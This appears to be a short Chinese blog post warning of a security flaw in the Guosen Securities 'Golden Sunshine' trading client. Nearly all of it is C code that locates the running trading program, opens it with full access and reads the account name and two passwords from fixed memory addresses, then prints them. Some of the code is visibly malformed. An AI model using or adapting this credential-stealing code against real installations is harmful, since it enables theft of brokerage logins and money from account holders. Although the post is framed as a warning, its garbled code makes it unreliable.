国信证券金色阳光版安全漏洞,大家小心了。

int  main( int  argc,  char *  argv[])
{
    DWORD  hProcId; 
    HWND hWnd 
=::FindWindow("TdxW_MainFrame_Class",NULL);
    
if(hWnd ==FALSE) 
        ::MessageBox(NULL,
"程序没有启动","提示",32);
    
else{
        GetWindowThreadProcessId(hWnd,
&hProcId); 
        HANDLE nOK 
=OpenProcess(PROCESS_ALL_ACCESS|
            PROCESS_TERMINATE
|
            PROCESS_VM_OPERATION
|
            PROCESS_VM_READ
|
            PROCESS_VM_WRITE,FALSE,hProcId); 
        
if(nOK == NULL) 
            ::MessageBox(NULL, 
"读取数据出错!","提示",32);
        
else 
        

            
char account[255],pass1[255],pass2[255];
            ReadProcessMemory(nOK,(LPVOID)
0x01b5ffd0,&account,255,NULL); 
            ReadProcessMemory(nOK,(LPVOID)
0x01b6023c,&pass1,255,NULL); 
            ReadProcessMemory(nOK,(LPVOID)
0x01b5f928,&pass2,255,NULL); 
            
            printf(
"account : %s "&account);
            printf(
"pass1 : %s "&pass1);
            printf(
"pass2 : %s "&pass2);
        
        }

    }


    
return 0;
}


 

你可能感兴趣的:(国信证券金色阳光版安全漏洞,大家小心了。)